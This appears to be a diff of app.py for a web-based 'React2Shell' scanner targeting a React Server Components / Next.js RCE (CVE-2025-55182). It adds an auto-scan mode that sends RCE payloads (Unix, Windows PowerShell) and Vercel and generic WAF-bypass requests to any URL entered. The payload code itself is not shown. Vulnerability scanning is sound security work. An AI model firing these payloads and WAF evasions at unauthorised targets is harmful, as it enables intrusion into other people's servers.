Spaces:
Sleeping
Sleeping
Update app.py
Browse files
app.py
CHANGED
|
@@ -6,6 +6,7 @@ import string
|
|
| 6 |
import json
|
| 7 |
from urllib.parse import urlparse
|
| 8 |
from requests.exceptions import RequestException
|
|
|
|
| 9 |
|
| 10 |
# --- Core Scanner Logic ---
|
| 11 |
|
|
@@ -149,28 +150,29 @@ def is_vulnerable_rce_check(response: requests.Response) -> bool:
|
|
| 149 |
redirect_header = response.headers.get("X-Action-Redirect", "")
|
| 150 |
return bool(re.search(r'.*/login\?a=11111.*', redirect_header))
|
| 151 |
|
| 152 |
-
# ---
|
| 153 |
-
|
| 154 |
-
def scan_target(url, safe_check, windows_mode, waf_bypass, vercel_bypass, custom_path):
|
| 155 |
-
if not url:
|
| 156 |
-
return "Error: Please enter a URL."
|
| 157 |
|
|
|
|
| 158 |
host = normalize_host(url)
|
| 159 |
timeout = 10
|
| 160 |
verify_ssl = True
|
| 161 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 162 |
if safe_check:
|
| 163 |
body, content_type = build_safe_payload()
|
| 164 |
check_func = is_vulnerable_safe_check
|
| 165 |
-
mode_str = "Safe Check (Side-Channel)"
|
| 166 |
elif vercel_bypass:
|
| 167 |
body, content_type = build_vercel_waf_bypass_payload()
|
| 168 |
check_func = is_vulnerable_rce_check
|
| 169 |
-
mode_str = "Vercel WAF Bypass"
|
| 170 |
else:
|
| 171 |
body, content_type = build_rce_payload(windows=windows_mode, waf_bypass=waf_bypass)
|
| 172 |
check_func = is_vulnerable_rce_check
|
| 173 |
-
mode_str = "Standard RCE Check" + (" (Windows)" if windows_mode else "")
|
| 174 |
|
| 175 |
headers = {
|
| 176 |
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Assetnote/1.0.0)",
|
|
@@ -181,87 +183,144 @@ def scan_target(url, safe_check, windows_mode, waf_bypass, vercel_bypass, custom
|
|
| 181 |
}
|
| 182 |
|
| 183 |
paths = [custom_path] if custom_path else ["/"]
|
| 184 |
-
|
| 185 |
-
|
| 186 |
-
logs.append(f"Mode: {mode_str}")
|
| 187 |
-
|
| 188 |
-
vulnerable_found = False
|
| 189 |
|
| 190 |
for path in paths:
|
| 191 |
if not path.startswith("/"): path = "/" + path
|
| 192 |
target_url = f"{host}{path}"
|
| 193 |
-
logs.append(f"\nTesting: {target_url}")
|
| 194 |
|
|
|
|
| 195 |
resp, error = send_payload(target_url, headers, body, timeout, verify_ssl)
|
| 196 |
|
| 197 |
if error:
|
| 198 |
-
|
| 199 |
-
|
| 200 |
-
|
| 201 |
-
|
| 202 |
-
|
| 203 |
-
|
| 204 |
-
|
| 205 |
-
|
| 206 |
-
|
| 207 |
-
|
| 208 |
-
|
| 209 |
-
|
| 210 |
-
|
| 211 |
-
|
| 212 |
-
|
| 213 |
-
|
| 214 |
-
|
| 215 |
-
|
| 216 |
-
|
| 217 |
-
|
| 218 |
-
|
| 219 |
-
|
| 220 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 221 |
|
| 222 |
-
|
| 223 |
-
|
| 224 |
-
|
|
|
|
| 225 |
|
| 226 |
# --- UI Setup ---
|
| 227 |
|
| 228 |
-
# Guide Content in Markdown
|
| 229 |
guide_content = """
|
| 230 |
-
###
|
| 231 |
-
|
| 232 |
-
|
| 233 |
-
|
| 234 |
-
|
|
|
|
| 235 |
|
| 236 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 237 |
* **Safe Check:** Triggers a specific 500 error digest to confirm vulnerability without RCE.
|
| 238 |
-
* **Windows Mode:** Uses PowerShell payload (`powershell -c ...`)
|
| 239 |
-
* **Generic WAF Bypass:** Pads the request with junk data
|
| 240 |
-
* **Vercel WAF Bypass:** Uses a specific multipart structure
|
| 241 |
"""
|
| 242 |
|
| 243 |
with gr.Blocks(title="React2Shell Scanner") as demo:
|
| 244 |
gr.Markdown("# React2Shell Scanner (CVE-2025-55182)")
|
| 245 |
gr.Markdown("Web-based scanner for React Server Components / Next.js RCE.")
|
| 246 |
|
| 247 |
-
with gr.Accordion("π Help & Usage Guide", open=
|
| 248 |
gr.Markdown(guide_content)
|
| 249 |
|
| 250 |
with gr.Row():
|
| 251 |
url_input = gr.Textbox(label="Target URL", placeholder="https://example.com")
|
| 252 |
path_input = gr.Textbox(label="Custom Path (Optional)", placeholder="/_next", value="")
|
| 253 |
|
|
|
|
| 254 |
with gr.Row():
|
| 255 |
-
|
| 256 |
-
windows_mode = gr.Checkbox(label="Windows Mode", value=False, info="Use PowerShell payload.")
|
| 257 |
-
waf_bypass = gr.Checkbox(label="Generic WAF Bypass", value=False, info="Add junk data padding.")
|
| 258 |
-
vercel_bypass = gr.Checkbox(label="Vercel WAF Bypass", value=False, info="Specific structure for Vercel.")
|
| 259 |
|
| 260 |
-
|
| 261 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 262 |
|
| 263 |
-
|
| 264 |
-
fn=
|
| 265 |
inputs=[url_input, safe_check, windows_mode, waf_bypass, vercel_bypass, path_input],
|
| 266 |
outputs=output_box
|
| 267 |
)
|
|
|
|
| 6 |
import json
|
| 7 |
from urllib.parse import urlparse
|
| 8 |
from requests.exceptions import RequestException
|
| 9 |
+
import time
|
| 10 |
|
| 11 |
# --- Core Scanner Logic ---
|
| 12 |
|
|
|
|
| 150 |
redirect_header = response.headers.get("X-Action-Redirect", "")
|
| 151 |
return bool(re.search(r'.*/login\?a=11111.*', redirect_header))
|
| 152 |
|
| 153 |
+
# --- Orchestrator & Logic ---
|
|
|
|
|
|
|
|
|
|
|
|
|
| 154 |
|
| 155 |
+
def perform_single_scan(url, mode_config, custom_path):
|
| 156 |
host = normalize_host(url)
|
| 157 |
timeout = 10
|
| 158 |
verify_ssl = True
|
| 159 |
|
| 160 |
+
# Unpack config
|
| 161 |
+
safe_check = mode_config.get("safe_check", False)
|
| 162 |
+
windows_mode = mode_config.get("windows_mode", False)
|
| 163 |
+
waf_bypass = mode_config.get("waf_bypass", False)
|
| 164 |
+
vercel_bypass = mode_config.get("vercel_bypass", False)
|
| 165 |
+
mode_name = mode_config.get("name", "Unknown Mode")
|
| 166 |
+
|
| 167 |
if safe_check:
|
| 168 |
body, content_type = build_safe_payload()
|
| 169 |
check_func = is_vulnerable_safe_check
|
|
|
|
| 170 |
elif vercel_bypass:
|
| 171 |
body, content_type = build_vercel_waf_bypass_payload()
|
| 172 |
check_func = is_vulnerable_rce_check
|
|
|
|
| 173 |
else:
|
| 174 |
body, content_type = build_rce_payload(windows=windows_mode, waf_bypass=waf_bypass)
|
| 175 |
check_func = is_vulnerable_rce_check
|
|
|
|
| 176 |
|
| 177 |
headers = {
|
| 178 |
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Assetnote/1.0.0)",
|
|
|
|
| 183 |
}
|
| 184 |
|
| 185 |
paths = [custom_path] if custom_path else ["/"]
|
| 186 |
+
log_lines = []
|
| 187 |
+
found_vuln = False
|
|
|
|
|
|
|
|
|
|
| 188 |
|
| 189 |
for path in paths:
|
| 190 |
if not path.startswith("/"): path = "/" + path
|
| 191 |
target_url = f"{host}{path}"
|
|
|
|
| 192 |
|
| 193 |
+
# Test 1: Direct
|
| 194 |
resp, error = send_payload(target_url, headers, body, timeout, verify_ssl)
|
| 195 |
|
| 196 |
if error:
|
| 197 |
+
log_lines.append(f" [{mode_name}] Connection Error: {error}")
|
| 198 |
+
continue
|
| 199 |
+
|
| 200 |
+
if resp and check_func(resp):
|
| 201 |
+
return True, [f" [{mode_name}] HIT! Vulnerable on {target_url} (Status: {resp.status_code})"]
|
| 202 |
+
|
| 203 |
+
# Test 2: Redirect
|
| 204 |
+
redirect_url = resolve_redirects(target_url, timeout, verify_ssl)
|
| 205 |
+
if redirect_url != target_url:
|
| 206 |
+
resp_red, error_red = send_payload(redirect_url, headers, body, timeout, verify_ssl)
|
| 207 |
+
if resp_red and check_func(resp_red):
|
| 208 |
+
return True, [f" [{mode_name}] HIT! Vulnerable on Redirect {redirect_url} (Status: {resp_red.status_code})"]
|
| 209 |
+
|
| 210 |
+
return False, [f" [{mode_name}] Not Vulnerable"]
|
| 211 |
+
|
| 212 |
+
def manual_scan_wrapper(url, safe_check, windows_mode, waf_bypass, vercel_bypass, path_input):
|
| 213 |
+
"""Wrapper for the manual scan button"""
|
| 214 |
+
config = {
|
| 215 |
+
"name": "Manual Scan",
|
| 216 |
+
"safe_check": safe_check,
|
| 217 |
+
"windows_mode": windows_mode,
|
| 218 |
+
"waf_bypass": waf_bypass,
|
| 219 |
+
"vercel_bypass": vercel_bypass
|
| 220 |
+
}
|
| 221 |
+
|
| 222 |
+
is_vuln, logs = perform_single_scan(url, config, path_input)
|
| 223 |
+
final_res = "\n".join(logs)
|
| 224 |
+
if is_vuln:
|
| 225 |
+
final_res += "\n\nπ¨ FINAL STATUS: [VULNERABLE] π¨"
|
| 226 |
+
else:
|
| 227 |
+
final_res += "\n\nFinal Status: [Not Vulnerable] (Check settings or try Auto-Scan)"
|
| 228 |
+
return final_res
|
| 229 |
+
|
| 230 |
+
def auto_scan_wrapper(url, path_input):
|
| 231 |
+
"""Wrapper for the Auto-Scan button that runs the sequence"""
|
| 232 |
+
if not url: return "Please enter a URL."
|
| 233 |
+
|
| 234 |
+
full_logs = [f"Starting Auto-Scan for: {url}\n" + "="*40]
|
| 235 |
+
|
| 236 |
+
# Defined Sequence of Scans
|
| 237 |
+
steps = [
|
| 238 |
+
{"name": "1. Safe Check (Side-Channel)", "safe_check": True},
|
| 239 |
+
{"name": "2. Standard RCE (Unix)", "safe_check": False, "windows_mode": False},
|
| 240 |
+
{"name": "3. Standard RCE (Windows)", "safe_check": False, "windows_mode": True},
|
| 241 |
+
{"name": "4. Vercel WAF Bypass", "vercel_bypass": True},
|
| 242 |
+
{"name": "5. Generic WAF Bypass", "waf_bypass": True}
|
| 243 |
+
]
|
| 244 |
+
|
| 245 |
+
for step in steps:
|
| 246 |
+
full_logs.append(f"\nrunning {step['name']}...")
|
| 247 |
+
yield "\n".join(full_logs) # Streaming update to UI
|
| 248 |
+
|
| 249 |
+
is_vuln, logs = perform_single_scan(url, step, path_input)
|
| 250 |
+
full_logs.extend(logs)
|
| 251 |
+
|
| 252 |
+
if is_vuln:
|
| 253 |
+
full_logs.append("\n" + "="*40)
|
| 254 |
+
full_logs.append("π¨ VULNERABILITY CONFIRMED π¨")
|
| 255 |
+
full_logs.append(f"Stopped at {step['name']}")
|
| 256 |
+
yield "\n".join(full_logs)
|
| 257 |
+
return
|
| 258 |
|
| 259 |
+
full_logs.append("\n" + "="*40)
|
| 260 |
+
full_logs.append("Auto-Scan Complete: No vulnerabilities found with standard payloads.")
|
| 261 |
+
full_logs.append("Note: Sophisticated WAFs or custom paths might still exist.")
|
| 262 |
+
yield "\n".join(full_logs)
|
| 263 |
|
| 264 |
# --- UI Setup ---
|
| 265 |
|
|
|
|
| 266 |
guide_content = """
|
| 267 |
+
### π Auto-Scan Mode (Recommended)
|
| 268 |
+
Just enter the URL and click **"Auto-Scan Target"**. This automatically runs the following sequence:
|
| 269 |
+
1. **Safe Check:** Non-destructive side-channel check.
|
| 270 |
+
2. **Standard RCE:** Tests for Linux vulnerabilities.
|
| 271 |
+
3. **Windows Mode:** Tests for Windows vulnerabilities.
|
| 272 |
+
4. **WAF Bypasses:** Attempts to evade firewalls (Vercel & Generic).
|
| 273 |
|
| 274 |
+
*The scan stops immediately if a vulnerability is found.*
|
| 275 |
+
|
| 276 |
+
---
|
| 277 |
+
|
| 278 |
+
### π οΈ Manual Mode
|
| 279 |
+
Use the checkboxes below to configure a specific single test.
|
| 280 |
* **Safe Check:** Triggers a specific 500 error digest to confirm vulnerability without RCE.
|
| 281 |
+
* **Windows Mode:** Uses PowerShell payload (`powershell -c ...`).
|
| 282 |
+
* **Generic WAF Bypass:** Pads the request with junk data (128KB).
|
| 283 |
+
* **Vercel WAF Bypass:** Uses a specific multipart structure.
|
| 284 |
"""
|
| 285 |
|
| 286 |
with gr.Blocks(title="React2Shell Scanner") as demo:
|
| 287 |
gr.Markdown("# React2Shell Scanner (CVE-2025-55182)")
|
| 288 |
gr.Markdown("Web-based scanner for React Server Components / Next.js RCE.")
|
| 289 |
|
| 290 |
+
with gr.Accordion("π Help & Usage Guide", open=True):
|
| 291 |
gr.Markdown(guide_content)
|
| 292 |
|
| 293 |
with gr.Row():
|
| 294 |
url_input = gr.Textbox(label="Target URL", placeholder="https://example.com")
|
| 295 |
path_input = gr.Textbox(label="Custom Path (Optional)", placeholder="/_next", value="")
|
| 296 |
|
| 297 |
+
# Auto Scan Section
|
| 298 |
with gr.Row():
|
| 299 |
+
auto_scan_btn = gr.Button("π Auto-Scan Target (Best Sequence)", variant="primary", scale=2)
|
|
|
|
|
|
|
|
|
|
| 300 |
|
| 301 |
+
gr.Markdown("---")
|
| 302 |
+
gr.Markdown("**Manual Configuration (Optional)**")
|
| 303 |
+
|
| 304 |
+
# Manual Scan Section
|
| 305 |
+
with gr.Row():
|
| 306 |
+
safe_check = gr.Checkbox(label="Safe Check", value=True)
|
| 307 |
+
windows_mode = gr.Checkbox(label="Windows Mode", value=False)
|
| 308 |
+
waf_bypass = gr.Checkbox(label="Generic WAF Bypass", value=False)
|
| 309 |
+
vercel_bypass = gr.Checkbox(label="Vercel WAF Bypass", value=False)
|
| 310 |
+
|
| 311 |
+
manual_scan_btn = gr.Button("Run Manual Scan", variant="secondary")
|
| 312 |
+
|
| 313 |
+
output_box = gr.Textbox(label="Scan Output", lines=15)
|
| 314 |
+
|
| 315 |
+
# Event Handlers
|
| 316 |
+
auto_scan_btn.click(
|
| 317 |
+
fn=auto_scan_wrapper,
|
| 318 |
+
inputs=[url_input, path_input],
|
| 319 |
+
outputs=output_box
|
| 320 |
+
)
|
| 321 |
|
| 322 |
+
manual_scan_btn.click(
|
| 323 |
+
fn=manual_scan_wrapper,
|
| 324 |
inputs=[url_input, safe_check, windows_mode, waf_bypass, vercel_bypass, path_input],
|
| 325 |
outputs=output_box
|
| 326 |
)
|